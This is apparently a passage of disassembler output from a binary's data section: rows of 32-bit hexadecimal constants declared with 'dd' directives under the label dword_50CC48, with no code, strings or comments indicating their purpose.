		dd 0A0380D63h, 0AB8BF2BFh, 0A974106Bh, 0E681012Ah, 18089C94h
		dd 0D62EFD4Ch, 0C0C4DB48h, 0D739E128h, 0B0820380h, 0BA19D8Bh
		dd 0D0E36F03h, 0E541F159h, 92A9715Fh, 0E735800h, 1C0B318Eh
		dd 0AA9C8FD9h, 2CDD994Ch, 4905DE95h, 65E858B4h,	0DF8A09h
		dd 0F1F08029h, 11B51289h, 8E0A742Ah, 0C1168804h, 4174129Bh
		dd 810E41E0h, 2EFCE2F7h, 18934863h, 6FF65389h, 137605A2h
		dd 0A010F9CBh, 0F0884631h, 2999E32Dh, 0A7B16C9Eh, 0B5D34D19h
		dd 0E6FEAF64h, 7127E0A8h, 0AAEB75CAh, 8158F732h, 0D616D4BFh
		dd 0FBEFB06h, 7A170283h, 0FFE5A28Bh, 0E05B48D3h, 24DBCCE0h
		dd 0B76C53Ah, 494490B9h, 587ABA7Dh, 2507909h, 8A0E1892h
		dd 56E6A2C2h, 819ACBDh,	18352F99h, 0A6FF83D5h, 0E6D7B006h
		dd 0A87C01EEh, 61958921h, 5C0A051Dh, 0A108CBF7h, 1B467C1Eh
		dd 52ADA700h, 63B50D8Eh, 0B8663305h, 5DB0227Bh,	13DF0581h
		dd 3D523CBFh, 0C0B41ADBh, 0F314ABDh, 0F3F80657h, 0C823AEFCh
		dd 14F21943h, 50547F31h, 0C26E3817h, 6188740Bh,	0C1DF6DDFh
		dd 0F47A338Bh, 130B990Eh, 22659D2Bh, 5B85C7CDh,	76B7A542h
		dd 99ABFD2Fh, 154148FFh, 466800FCh, 8C7017AFh, 0BF031CA0h
		dd 0B5A9B294h, 68059229h, 9E615E11h, 8800DCE1h,	83E6A2BAh
		dd 10093BA6h, 25058595h, 0E7E85D8Bh, 613E07EBh,	5E575F9Dh
		dd 0C0EB9ABEh, 275D73BDh, 7F9F0148h, 0B4606498h, 0B58BCC4Ch
		dd 111D7525h, 10172ACAh, 90D8D29h, 623D9Dh, 0AB0340AFh
		dd 90B0F61Dh, 0C7D3154Bh, 275A3C1h, 8C66602Dh, 8878A8D8h
		dd 12F3542h, 6FF130DFh,	95EC457Ah, 1C535B0h, 0EFC1FE8Bh
		dd 3C8D680Ch, 0C8B42004h, 0DF45702h, 0FFAB0295h, 4B1A8E95h
		dd 5DE5F732h, 0C530DF82h, 1EFD02A9h, 45283F9Ch,	0D630E31h
		dd 6D6A5029h, 6E4A7Ch, 0C1C36112h, 5E06E02Eh, 0D2296860h
		dd 2D3B0060h, 8A3DC3ACh, 9CB858F8h, 6374D974h, 0D546C033h
		dd 0B9D0F760h, 4618370h, 3C8BDB33h, 923F218h, 388CE8h
		dd 0A273AC20h, 5DBA3D25h, 814C3080h, 0E6F9FDF7h, 0C0764A48h
		dd 0A0C51A07h, 29EA9Fh,	85F945A7h, 0B3B601E4h, 5938B118h
		dd 2FF3E33Ah, 0D68F6E2Bh, 0ABA9EF20h, 0ACC143E0h, 579B6AC2h
		dd 0D5F97Bh, 3CBE553Dh,	1215DAB1h, 48FAC4Ch, 0E98D0FBEh
		dd 894A7691h, 0E246C8ABh, 0AACB630h, 0F24270CEh, 18D609EBh
		dd 0D2876233h, 3CC3D7D2h, 40FBE13h, 6223E4EDh, 549894FBh
		dd 208509D6h, 0F1BE2C18h, 0D0788095h, 0C021E961h, 3E4D7E1Dh
		dd 0C2070815h, 80BA764Fh, 0E0CD4443h, 0B91B50Bh, 4BE9F5BDh
		dd 5C34D20h, 0BB3EAC65h, 34B9804Eh, 0B72C1C17h,	2DA51D8Fh
		dd 0F5C14067h, 0E83F1F23h, 26B34C19h, 2180C809h, 8D23FDE1h
		dd 0E18499Dh, 6519B18Ch, 0C67507D4h, 40EBEC98h,	0C76E3C4Ah
		dd 717D2A1Ch, 608666C0h, 0C02999E4h, 0B9CDA130h, 0A7070F72h
		dd 0ACA5D3B4h, 0C035081Ch, 72B1EC21h, 0C07E013h, 0E33D2D49h
		dd 0C470989Fh, 7EFF0032h, 25AEBB8Ch, 400CBE8h, 272AB76Dh
		dd 0C778E2h, 0A1B0083Ch, 0F4E77999h, 7F20A60Ch,	73E81EEh
		dd 9ED2D9ABh, 7A58E02Bh, 0B0000B54h, 1FBB79A0h,	60415325h
		dd 36720A4h, 0B353FDC9h, 5B55C420h, 0E3AC1D64h,	6423F40Fh
		dd 0CA62E03Fh, 23FCE620h, 53E10005h, 0FB41F80Ch, 2B7128EBh
		dd 0F501C8C7h, 0A10E9680h, 0C5E430DDh, 6C3D14F0h, 8378E918h
		dd 50829929h, 8DA068h, 8F972A8Eh, 0DE1330E9h, 1FB00914h
		dd 8CCDBCF8h, 5073DC71h, 74CE4B01h, 0D699EDF6h,	12A66980h
		dd 78C33B2Ch, 4B87C8A1h, 0C034C8F4h, 28539874h,	0E9886F1Dh
		dd 0D133A30Ch, 5806F52Ah, 0BC9E1E21h, 0A7017284h, 203062E4h
		dd 0F972BFEAh, 0DAAEE100h, 6CF32073h, 348A9F4Dh, 30EB8024h
		dd 697D7F87h, 0CB463A00h, 4B424F3Fh, 0EF580510h, 4A331E5h
		dd 22DF8BA0h, 23F630B2h, 0F03F1A11h, 0E480C988h, 0DEC23FEh
		dd 5F4A0232h, 0ADC55B3Fh, 0A7D01C40h, 70BA992Ah, 486E078h
		dd 0A7037285h, 908E94h,	7172BDE8h, 0F6EB65F4h, 38ED12A7h
		dd 0D0C00DBh, 0B208FAA6h, 0D7E9CEh, 222C8769h, 346C3FC8h
		dd 0D830C9BAh, 6908EE21h, 0D7C5BD1Fh, 1DFA483h,	9F6DA86Fh
		dd 0B071C122h, 60BB9AB5h, 3E002E9Bh, 3F773235h,	348F5E65h
		dd 8282AD5h, 0F2C0BE90h, 463F1623h, 0CC2290h, 0B623FAF8h
		dd 841B4A65h, 6A14C60Eh, 63E344AAh, 0EDA42880h,	6CD050E0h
		dd 0C048CFEh, 22CBB69h,	0F220DF62h, 3356EF4h, 0B402A878h
		dd 0A93C818Fh, 0DE4594A6h, 405209C4h, 0EC18AA27h, 6CF5908h
		dd 0A9B82D76h, 4760EDA1h, 7B0FA384h, 0FF901964h, 0BA69E067h
		dd 448C0A2Ch, 0F70EF5DBh, 0C069DE6Eh, 0F17F5C5Eh, 44341401h
		dd 4079E011h, 600017A5h, 0BCC53DACh, 0CF33088Ch, 91188F71h
		dd 2400D146h, 0AA83A066h, 285CC874h, 92103477h,	0D8B0C05Ch
		dd 0A9A0287Eh, 3B140090h, 56AC7007h, 1C37F038h,	0F24CEA88h
		dd 0D36020F5h, 73332C0Ch, 4D055841h, 890FD455h,	630AF1B7h
		dd 1F47809Ch, 0F3E9F465h, 0E029C519h, 21834409h, 0D164E7A7h
		dd 96AFEFC0h, 45354D00h
		dd 0DDBBD29Dh, 0D8293558h, 0AB0683D8h, 686708BAh, 3E60CE64h
		dd 934825C9h, 0E4EA722Eh, 8FC8B361h, 64232B71h,	9C30CAE2h
		dd 0DE2202B1h, 0BDAB3F66h, 7E76C4A0h, 0C12904ADh, 0F6118CB0h
		dd 0F7651C80h, 448CEBE9h, 0E406A07Dh, 3B2B0464h, 91D24159h
		dd 1A80F448h, 1BE9F165h, 7322DA43h, 64E2A201h, 0BB1B08D2h
		dd 0F8236022h, 85690201h, 0DC18122Ch, 900AF088h, 3FD4715Eh
		dd 1B0674C5h, 989E7057h, 8A00521h, 1860040Ah, 46E9F365h
		dd 797F220Bh, 0FA6400ACh, 4B0C0157h, 71C7AB09h,	0B6701DD9h
		dd 65C9A0h, 41189F59h, 28AD8F3Eh, 0BD46D4A4h, 1923F302h
		dd 711C983Fh, 0A02310FBh, 298520DAh, 0F1A8C715h, 7886187Dh
		dd 269924FBh, 0C0809F94h, 955235EAh, 410FDEADh,	0E9332A27h
		dd 0F290004Ah, 0C0BA5B08h, 0A1067990h, 3C7AB362h, 70A81524h
		dd 1329F42h, 826CAA99h,	50DDC458h, 3BB848D4h, 0E422F953h
		dd 860EE123h, 9CA70472h, 0EB203762h, 0AD72BEh, 0B6131073h
		dd 9E801251h, 8A69FE6Ah, 68DDB00Ch, 9CB3548Ch, 0F2DB0035h
		dd 0EC39E428h, 8099324h, 823BBF09h, 0D7D85Ch, 506762CCh
		dd 605D98C0h, 61A74B2Ch, 0DD22104Eh, 0BC38289Fh, 0D2008CC2h
		dd 94DDF6BDh, 74570FE2h, 72052A75h, 195400C4h, 0C9564247h
		dd 0ED007353h, 0AEAFD77h, 13BD320h, 0F2AE511Ch,	616CB9EBh
		dd 23B83200h, 72B801E7h, 73ACA70Eh, 1D8B9054h, 1D40B572h
		dd 8EC3DD63h, 7B381F79h, 2F1C13EBh, 0CD2318h, 696E7CB9h
		dd 1906030Eh, 389E7553h, 4B9F0171h, 0B5A2349Bh,	81A0C0E9h
		dd 7ADD4A00h, 5145B7B2h, 0F99E13EEh, 0A6FC08FEh, 21F70E81h
		dd 0C473BA8Fh, 0DD3137A2h, 6148BF8h, 8C07A4FEh,	157559B9h
		dd 0B0C37F00h, 0A911C0BDh, 988A480Eh, 908C78BCh, 30510085h
		dd 89CAC037h, 0F024C5A7h, 221320B1h, 175C1DBBh,	23B42F1Ch
		dd 372F00C8h, 4BB65636h, 906B0324h, 0BA60E544h,	0A7230C72h
		dd 3B11BCh, 0F972B2EFh,	13420FAh, 0F34D9C9Fh, 0E08E8C04h
		dd 0C00C878h, 411E2711h, 18290705h, 0C0BE8424h,	5B123D1Ah
		dd 0CC0AF65h, 0BA26BB20h, 30364C2Ch, 78C7BE8h, 3E278F8Ah
		dd 986123AAh, 41768EE0h, 0F5E90B09h, 0E48C45A5h, 0DC28603Ah
		dd 3379066Ah, 0B0C8D5BBh, 0BCA90F26h, 0EAF20180h, 1D113FFDh
		dd 41EFB41Fh, 2689021Bh, 271CF85Bh, 34FD0500h, 0DDE9F02Bh
		dd 8D3D006Ah, 0A2A7A02Ah, 0AF07AEB3h, 5C4B53Eh,	7B4B2861h
		dd 0BC4E3C75h, 0FDC03688h, 0A6D1AD5h, 0E4F683D8h, 74302CA8h
		dd 603C7D46h, 0A9A2891Ah, 0CCE4E8E5h, 91DC9560h, 66DFAC00h
		dd 432C6F78h, 0E05760CFh, 0D9CCFDA0h, 91EBD49Ah, 0BB80E2F0h
		dd 84A70D72h, 0AFEE1387h, 2D505403h, 0F3C2B8ECh, 0A0D50A97h
		dd 3D4B1CDh, 91466E0h, 0EE3EC0A0h, 32B46C05h, 40044BBFh
		dd 3400D458h, 9D824188h, 7AA4B603h, 78733ACCh, 0C780A2A9h
		dd 60CA44A0h, 5405D9C4h, 0F0EAAC6Fh, 0CCD81D43h, 0F5A703F6h
		dd 8024D6ACh, 0E908301Ch, 539A20A8h, 7EB2DC3Fh,	4AF84531h
		dd 2AF5F299h, 4B0DA84h,	58E829E4h, 32E0A043h, 0CAA1BB10h
		dd 7BE8B458h, 1524E68Ch, 0B4D65DC9h, 5269117h, 3E6FB5BDh
		dd 3123E8h, 0D61D170Bh,	900C6EAh, 263D4EA0h, 0C7279FBDh
		dd 0CE387329h, 0C45136C3h, 0F029B9B7h, 3611E41Dh, 0CF5F9580h
		dd 763C5518h, 0F9C45197h, 0B07477AAh, 18530EE3h, 196EA7B1h
		dd 0FB2628E8h, 934E703Dh, 5FE7D0D0h, 19F9123Fh,	0BCB43256h
		dd 1123F030h, 88803F18h, 0F8FA80B5h, 429EDD23h,	0A602BC96h
		dd 72C33C25h, 5E609404h, 31013446h, 2F78F6EEh, 3F91E730h
		dd 78242D21h, 2E574014h, 0F7944008h, 651D028Ch,	0C5E3E9F6h
		dd 20177C19h, 817B64E5h, 0E9FEA0C1h, 61A65F28h,	0D3270097h
		dd 7CFD2D31h, 683BC74Eh, 6600DE23h, 0EB596216h,	28A0E2BDh
		dd 33ECB405h, 0A729AC08h, 0D5E1DBE8h, 52B37D03h, 11FF64ADh
		dd 0E223F90h, 0B8A8DDA1h, 0B47B2D88h, 39465ED0h, 0EB3D530Bh
		dd 4A10CC44h, 0A6197057h, 18FCE020h, 0B969040Eh, 0E2C9F22Ch
		dd 0F6F480D8h, 2E1936Eh, 327CC67Fh, 0F4D0E363h,	0AC9C2D0Bh
		dd 40CC4C24h, 661D2ACFh, 4C645854h, 2B533084h, 4BE3320Fh
		dd 66C09D7Ch, 0F42D0D62h, 7F10B1E3h, 209C5502h,	12403423h
		dd 8870CB8Ah, 0A88FC07Ch, 51247B37h, 465E2C8Ah,	83F3C7Fh
		dd 4C2B3h, 0B009C117h, 0F50C6C3Ch, 11CF9B30h, 0DB1528B3h
		dd 8FF72790h, 5BE60AEh,	0BBC5AA3Dh, 19B60E0Ch, 487612DFh
		dd 0B50D0073h, 260E4FAh, 89BC6100h, 0F10197C2h,	8D90A0BBh
		dd 7143A80h, 0D1ECF029h, 18601DD8h, 0C3C4170Ah,	0EE2E1D97h
		dd 58EA02F4h, 0B0D2CB63h, 4B20E813h, 0CCABE820h, 329245FCh
		dd 3078E21Ch, 3B3B5843h, 0BC480294h, 716D6C25h,	18DA797Ch
		dd 4F6E0392h, 77B57046h, 7F78EBE8h, 1B781492h, 3FE76601h
		dd 0C5B3E976h, 103C5031h, 28CA0BCh, 50BF77A2h, 0D864CB09h
		dd 10AC0858h, 1A02D474h, 0ADC1BBA1h, 980B1084h,	65091948h
		dd 0E503E9F2h, 0E1AD8004h, 28F5EF64h, 14436115h, 0D0B126BCh
		dd 1D23F7C0h, 2CF85B3Fh, 0FF03E76Ch, 4909D23h, 58D6C0CBh
		dd 0EACC4041h, 74AB782Ch, 7FA0B004h, 7B88988Eh,	7176B1C0h
		dd 8D9407CAh, 853B9E8Fh, 2595027Eh, 8489A7B4h, 61531002h
		dd 30762C00h, 0C3CE917h, 148CB5ECh, 0A82E1C89h,	8C7EE8h
		dd 0DE6130A8h, 3CE77D5Ah, 4047249h, 0A648FD12h,	8CFBF8C8h
		dd 86690305h, 60B22A2Ch, 690BF1C1h, 1AA0834Ch, 0F3632A5Bh
		dd 4F0126Fh, 0FD883FAh,	18678902h, 42D60327h, 0D1C47198h
		dd 7579187Dh, 0AB3E0907h, 48E0D3B9h, 0E8A85B28h, 2130533Ch
		dd 30F418CEh, 14BD2DFDh, 0C911C41Dh, 560EA980h,	34BC8EF9h
		dd 8B8CCA43h, 9882D82Eh, 4B3F2F7h, 9D3D1FE1h, 2C90E2E2h
		dd 4B00454Fh, 2484F571h, 0AEE0095h, 0D141E43Fh,	6A012E7Ch
		dd 77F6D227h, 7983BA2Dh, 9B26511Bh, 207A04DAh, 7E4C3600h
		dd 9DE7A3BCh, 6288030Dh, 5DD4A245h, 0B64E2688h,	43283F13h
		dd 0A0237C3Ah, 425AC50Eh, 81DCD150h, 0EBB6839Ch, 0CBA19193h
		dd 0C03AC8E0h, 0B18E61Ch, 0EF036D00h, 0E989CF81h, 0B779C0D0h
		dd 5ADA8A01h, 0DD121190h, 18A1CF18h, 5AE9ABDCh,	23D43BB1h
		dd 9540673h, 0D1FA69A3h, 3BBE593Eh, 38EB00CEh, 16C785EDh
		dd 3A9F3E49h, 8EFE2A00h, 8A1760A6h, 171CB625h, 80CD1104h
		dd 1A3453F2h, 0D6650102h, 0BB3F2645h, 12846C31h, 70A34066h
		dd 1086A5Ah, 30559B9Ah,	44EE4BB6h, 0B4452EB0h, 35DB4208h
		dd 6F40009h, 5405A647h,	4B8C77h, 0C853698Eh, 0A316857Fh
		dd 3374B500h, 8BF67A95h, 99207E1h, 0FB91BBE4h, 45AA9884h
		dd 0D4E43EA6h, 1EC10B56h, 4CAC3ADBh, 0E700B520h, 85A99B6Eh
		dd 9E26779Fh, 8CED8FF4h, 0D17D3204h, 92219978h,	0A100F549h
		dd 7824028h, 0E49F0087h, 77F1A280h, 0A17B7E41h,	960C7D5Ch
		dd 0A6851804h, 6974EA01h, 7A2068B4h, 0F401074Fh, 286F20E9h
		dd 65DC9880h, 0C48F58EBh, 7F0C089Ah, 899FB6D3h,	0EDA63EA1h
		dd 2438BC24h, 74A30858h, 4020AE0Eh, 11606C24h, 53A10261h
		dd 0E23D71FAh, 2A0A7052h, 0C051FF43h, 17B08595h, 8D197850h
		dd 0E7DFBC70h, 3628B16Ch, 0C8982537h, 0E2800574h, 22A70C94h
		dd 8F59FBE3h, 768164B6h, 49263A79h, 15A4E8h, 0CFAA5686h
		dd 98DC2F62h, 0C16A540h, 0AEF14B25h, 98C46550h,	0A405557Bh
		dd 0A67005FDh, 52E0233Ah
dword_50CC48	dd 0D9074980h, 28880978h, 33DE166Bh, 88448E8Bh,	6330C035h
		dd 380291E7h, 42C46086h, 0B24F07Bh, 80961FACh, 3C5C0C0Ah
		dd 81D46AFh, 0BB803591h, 888503DDh, 0AE74571Ah,	791459C0h
		dd 7E1C1844h, 1BEF01EEh, 92C56F62h, 209442E4h, 0E4B82224h
		dd 724742C2h, 453B0127h, 60CEE4FCh, 0A3B691h, 11F6D043h
		dd 2C6EBFEBh, 467CF4B6h, 0FD1C0037h, 35A0576h, 0BC7D4899h
		dd 0FC18F189h, 2B00AD9Fh, 1F1B213Dh, 0E3A83Ah, 0FF56BCA2h
		dd 0B0C5A178h, 2D8D35Dh, 7553430Dh, 67B86077h, 6C073825h
		dd 9A86AA17h, 3A45C044h, 480A6432h, 3E7ED0EBh, 2FCE09C3h
		dd 3ACC23B4h, 34600400h, 0B092980Eh, 5F62CA1Eh,	2032CC68h
		dd 900FF1EFh, 0A96ADCh,	437A91CAh, 0D164C5D9h, 3D1D9C92h
		dd 0D0E4BDBBh, 305CF14Eh, 58CCCBCh, 0ED577DD9h,	839F8253h
		dd 0EB6EACE0h, 6CA4DF1Bh, 316FC108h, 106258BAh,	145E8609h
		dd 0C2A800D6h, 2B744BEEh, 0E02557C5h, 75C379Fh,	0A04AABA8h
		dd 483CFFB5h, 78EB5D09h, 24BCC0A3h, 13114B53h, 250002D0h
		dd 0A40060D3h, 0A1D858DDh, 38227FA4h, 53009648h, 0F5A0B36Ah
		dd 20C4F008h, 4340BE8Ch, 0A5A2691Ah, 0B60CBBEAh, 917104F7h
		dd 4ABE0078h, 0B3D7D066h, 22002090h, 0C0EC6245h, 93EE8A7h
		dd 0E30FA11Ah, 953BB085h, 0AED00A3Ch, 0F437A5D4h, 105AE800h
		dd 9CF207h, 5C0B5406h, 0A1A55325h, 1560F8C8h, 8727AC1Ch
		dd 606E0C6Dh, 28386415h, 9C26293Dh, 0A6620730h,	0D8A4283Bh
		dd 0BBB7808h, 444D1C17h, 3081A465h, 8D03DFD9h, 32868F91h
		dd 3139F2E8h, 0B301F0A3h, 80D89E58h, 6E056BAh, 0FA31003Eh
		dd 0B2A35F68h, 0B4B4A0B0h, 4F78EA82h, 0BFF040CAh, 33770864h
		dd 0A93C2CB5h, 631614ADh, 89AB8820h, 58E880CFh,	660EF5Dh
		dd 0A981A8D4h, 2E761818h, 8754E9A4h, 46E5F026h,	0BF782301h
		dd 83F8B0F2h, 2E8A5BBCh, 7923A4h, 0E7824B05h, 4D28AA61h
		dd 809498AFh, 0DE465Eh,	0A6FC4603h, 0C4A72F77h,	0C804ADB1h
		dd 591DB8C4h, 490F6652h, 603A8F19h, 0B0337E5h, 0AC73E7h
		dd 0BAF865C6h, 2B701E16h, 0FDEA9402h, 9138A6B2h, 0A44804C4h
		dd 401C3849h, 0B11F2A81h, 87A409DCh, 0EED38791h, 84D60A30h
		dd 0CE9D0102h, 7C8CDEAAh, 0C50C099h, 0C3E1F40Fh, 0B928A2C5h
		dd 637EC2EAh, 149D2D0h,	2A9FEB8Bh, 967DE5E0h, 0DC3424D4h
		dd 5321900h, 0DC1FA9A6h, 43E74039h, 329E2A40h, 0A730614Dh
		dd 6A3B60E0h, 0F844DA5Ch, 0B6008C36h, 0D7BFEDA8h, 96BAFE0h
		dd 0D6CEF661h, 99F8488Eh, 6EE132C5h, 246B3E0h, 6E6C9307h
		dd 68726065h, 4FE42A65h, 58DD10B0h, 145C826Dh, 1946AB18h
		dd 9DFCEDh, 817D34F8h, 0DC7609AFh, 6CD96EA4h, 0C419A079h
		dd 53253CA7h, 307422C1h, 260501Fh, 40E98C01h, 9C813E0Fh
		dd 2F3950A4h, 2C806402h, 0C098FA3Bh, 0A6A5F128h, 0D260B8C5h
		dd 22F421A0h, 477CBCE0h, 1D5080F7h, 0B0038D0Eh,	1A826D11h
		dd 0C5A4E021h, 94B35990h, 1BA11802h, 0CCB56BB6h, 44803111h
		dd 0A75FF282h, 0EDE20F00h, 6EE18A21h, 613C79ADh, 0A5B699B3h
		dd 0FCD1D232h, 89860100h, 3CED13h, 0FBD66578h, 0B434AE99h
		dd 0B12740F0h, 867868ABh, 0FFF100E7h, 511BC477h, 0F12D2A3h
		dd 4C57EBF4h, 60A1FCC1h, 5C72AED1h, 74A0F52Ch, 95584446h
		dd 23E3B300h, 0B29918D2h, 3B28F20Ah, 0CD279462h, 59A3E030h
		dd 0EE3D739Ah, 0BA2C8520h, 74C3B3C9h, 0F60794D3h, 40F2EE67h
		dd 1D6D1B0Ch, 0F49B073Ah, 0BC22B078h, 18244A8Ch, 0ED6A6937h
		dd 5885F85Ah, 0ECA66413h, 0E6CE3C07h, 0C738C003h, 371844A3h
		dd 0EC29AD08h, 2F800FEh, 3096C329h, 0F1580EEEh,	567008E0h
		dd 0A07A4914h, 0CF9F8017h, 0C2C5A0D3h, 0D1E700DCh, 0E5F87021h
		dd 74603C0Eh, 0F357809Eh, 74672FB6h, 0BF2E00EBh, 9C289F32h
		dd 0DA019D8Eh, 3CA5C7B0h, 0A2421367h, 0DD284020h, 0CCA44CACh
		dd 75833Ah, 0BA8CE3F5h,	0CD8A0F98h, 2821FD33h, 8020DEC5h
		dd 0C048F518h, 0B6B35749h, 2AE809AEh, 840B0528h, 6D8A6C25h
		dd 6E866014h, 0A617D205h, 0C288019h, 6C45203Ah,	396A0537h
		dd 0C2D549D0h, 4F443895h, 0B0EC9E03h, 212970AFh, 0F200C00Fh
		dd 0E6951B48h, 26B90FFCh, 8742BC08h, 50446332h,	33762D09h
		dd 0B950D82Ah, 18CF797Ch, 0DA9101D6h, 0C8FE8875h, 0E4404009h
		dd 9B013CD5h, 0C24FC3A0h, 0DDF07CB9h, 0B6A49A69h, 0DC465E38h
		dd 0DAEF1500h, 0DD8766C5h, 63115027h, 9A20C388h, 58844C1h
		dd 5B3CA853h, 85C9222h,	8C0004D2h, 0B7D087E7h, 7AEEF7h
		dd 44DFAF2Ch, 80022419h, 0A0BDEF4h, 85B86E8Ah, 0E8A8B45Ch
		dd 8C36E8h, 6569C57Ah, 0F19C9526h, 0B2FC4B1Eh, 5260B9C0h
		dd 15DCB0ACh, 0A8BB2C77h, 0F8706C00h, 0B8F60D38h, 0C7C8E760h
		dd 0A4074BE4h, 932B00F0h, 3412E9D0h, 0FA007B78h, 0D7F6469Dh
		dd 24B0F01Ah, 0A5B04067h, 0CA11B01Dh, 8BB06580h, 527C6927h
		dd 0C4E8FD24h, 0A46B2C8Dh, 75218832h, 94421BEh,	1859B198h
		dd 4518A3D9h, 68382C0Bh, 0D9A45960h, 9871835h, 0BBD112B9h
		dd 3400E0C6h, 636D3B71h, 5AFDA6BAh, 0BB40C0E0h,	0D8CA6E25h
		dd 0B38084B0h, 877B1DA9h, 0D30400ABh, 7C69C095h, 0E80931CEh
		dd 7030FB40h, 0FFC7724h, 0F51260A6h, 1F7C0B45h,	0D8AA0ABCh
		dd 20CDA5D8h, 0C0D7F8C0h, 2225F26Ch, 3B13B998h,	9CD571FFh
		dd 0E39F308Eh, 0A54EAF02h, 2F144C18h, 0FC102DAEh, 0C3743AACh
		dd 10E568DEh, 0C2F528h,	2F142A6Ah, 0F6522584h, 89F0E0FAh
		dd 0CB4ED403h, 234CD83Eh, 909FD98h, 0FAA60469h,	0F7C0C4B2h
		dd 0A9446EF1h, 7255A600h, 490922B2h, 0B33E3CEAh, 0E85982FBh
		dd 0F0EFB200h, 2511488h, 8E7677F9h, 50E1BBF1h, 0E1201762h
		dd 0B0C54486h, 0DFD72794h, 0C991389Dh, 48D30D80h, 61009FD5h
		dd 0A1C0C5A3h, 924425AEh, 0B0B70A8Ch, 96E0ABA9h, 0C98D008h
		dd 0C300485Eh, 301CBCCCh, 5ABE7EF8h, 26F021B0h,	1996F020h
		dd 50B9E91Eh, 20706E4Fh, 1A39A13Bh, 59A8A23Fh, 18A3796Ch
		dd 432C3415h, 12E409BAh, 0DE91BCB5h, 0C31B5E80h, 5827EB1Ch
		dd 0A0E080A3h, 0BCC681BBh, 784676D0h, 11FD9300h, 0CC0D6FF0h
		dd 7D2B3A1Ah, 8CD61B0h,	0EC418438h, 37A2A866h, 81F0D833h
		dd 0E9AF0B9Ah, 28C88CEBh, 0FAF8D1B3h, 149005EEh, 26D97B60h
		dd 2EE3DF15h, 1658D398h, 68E0B1A3h, 0A66810D4h,	23102F4Bh
		dd 17C105A3h, 7C2DC2F6h, 194FB050h, 2A7C482h, 0E8728C80h
		dd 0CC851F00h, 2F58BF37h, 5CE90025h, 0C4EE0723h, 0C6014462h
		dd 3B2A1154h, 3B7A50FBh, 1302368h, 7C4657F2h, 1000EFC9h
		dd 66E18D76h, 14F13058h, 782C7BCAh, 38CD8BCh, 0B30D43A2h
		dd 2C98355Fh, 9E4A87A4h, 0C58AA091h, 7BE332C8h,	5F8B001Ch
		dd 96A814F1h, 0B7558C49h, 0BBEE484h, 41E20A07h,	7280CF20h
		dd 77215565h, 87C4054Bh, 0A42D77F1h, 0AB167844h, 2CF2CEC9h
		dd 58EA137Eh, 0C12CC743h, 0F2B61223h, 357968D9h, 8D009618h
		dd 296146E6h, 0BEC09C24h, 86670920h, 3071F4D1h,	0B00D418h
		dd 0E74BFA73h, 0B8663Ch, 298AE1E0h, 32F34C5Ch, 0D40DAB18h
		dd 38EE7D0h, 0BAEBBC7Dh, 0BDA08BF6h, 0E14A3D36h, 75E3E031h
		dd 697AB079h, 0D48298A0h, 230F680Bh, 85FF8DEDh,	0DFE8C0E8h
		dd 0DC32008Ch, 2A271342h, 795FEF43h, 25B09C4Eh,	0BC406DA6h
		dd 0DB104BDAh, 20F09076h, 0FD046CC3h, 8DAE2ABEh, 8B4E40BCh
		dd 0C037C890h, 0C5385B06h
		dd 2AF8A87Dh, 0FDA78E0Fh, 402737ECh, 0D2D88419h, 0B6D3C4ECh
		dd 697A050h, 30277B47h,	10AAB11h, 0A626A588h, 5A3F1CE0h
		dd 0A5C49C84h, 0C18D8088h, 76F5A3E0h, 0FF947553h, 77B638E8h
		dd 0D8EE3D29h, 5320A020h, 0C5CE3841h, 18E7C025h, 0DAD64110h
		dd 204D809Ch, 0A937E0h,	1124F997h, 0D18743Dh, 14CBA44Fh
		dd 6FC037C8h, 31F0F95h,	27EB065Bh, 4798FFF6h, 5F09E54Ah
		dd 56D6A6h, 0B92AA55Ch,	0FDF6001Fh, 0E7554CDBh,	36001A7Eh
		dd 5A94576Dh, 1FE4BEC5h, 919A11Bh, 447B2D0Dh, 6480E525h
		dd 0A44A60D8h, 0FB4200CFh, 0E83249Eh, 5206B0F3h, 23958C06h
		dd 40995FC8h, 88E1F0BCh, 155CE7AAh, 5FA33AE0h, 0ACB20C13h
		dd 0CA307AF2h, 0EE9B0039h, 0AD93AF98h, 21C07507h, 621186C6h
		dd 59DA0078h, 0D39341FAh, 280B4482h, 8F0E13Bh, 4674C874h
		dd 0DB3A0C35h, 92FC4262h, 0F5DC12ACh, 132080C0h, 949EDBA1h
		dd 0E41CE5A5h, 0DED16044h, 3BAF00B0h, 5EE2578Bh, 4A27ACCBh
		dd 56A4C24Bh, 4CD1CBECh, 0B118C979h, 0FFA9C104h, 0BCA0FBh
		dd 0C804CE4Fh, 4797C079h, 1C0150CCh, 0B33EA34Eh, 5080B25Dh
		dd 6ABE6926h, 0A14F0D96h, 3A239C2Fh, 34ADE700h,	61533DBAh
		dd 406659D1h, 423465D3h, 0D45C3A38h, 4A4146C4h,	70C89358h
		dd 2C3C5138h, 33CB1852h, 789C9B38h, 2FF5F49h, 0EB9F8574h
		dd 5A493C7Ch, 0D4AE44A8h, 0C26045F4h, 7E417680h, 8010BC56h
		dd 6F3D9FE9h, 672499EBh, 810E9804h, 0B81440DEh,	90951F8Bh
		dd 0ECD9C091h, 2A7AFFB4h, 6A0B29E4h, 6078EDA7h,	25DD1A70h
		dd 48520865h, 48190D02h, 406AACE0h, 56FE1Dh, 0DEFF9069h
		dd 6ED7D02Fh, 7A8E1F1Ch, 2A87933Fh, 0B5EF7C04h,	4807AC21h
		dd 87EF0FD8h, 3BD6A219h, 0F9E99600h, 0DABE48F3h, 32CA8105h
		dd 8C74D70Fh, 434B3B50h, 0E08B7482h, 30514458h,	3D49A709h
		dd 0D57B5822h, 156B8F1Eh, 0DF7A1D7Ah, 0AB6D4F40h, 4256632h
		dd 22A677E2h, 63C8CCE9h, 3F751720h, 24AF30D6h, 0CD56BC20h
		dd 22181D62h, 0BC31FC08h, 0BCF2B83Dh, 348D0054h, 32FF9779h
		dd 762F8704h, 0F8A4DA33h, 0EB20000Dh, 50E39108h, 0F0A023E7h
		dd 400151A3h, 0E9D37489h, 44285320h, 1AA9F628h,	0F4F56446h
		dd 320470C4h, 929A085Bh, 44C850CEh, 59B133C1h, 7962B03Bh
		dd 725D0D16h, 0FE3B8C8h, 3EEF8186h, 645C57A0h, 16008D1Ah
		dd 0D5EE6083h, 9670A1B0h, 0AB8BE078h, 0C601BDD8h, 5369AF60h
		dd 0B89186D4h, 44234FCAh, 1A76F0C4h, 0B5D072Fh,	104D226Dh
		dd 131F3E49h, 0CD2C1C27h, 0DF6BC06Ch, 0FCB0BA2Ah, 97B2DC20h
		dd 0DDA43818h, 0C880B84Fh, 9D20557Ch, 0FE15B4A0h, 640B0F24h
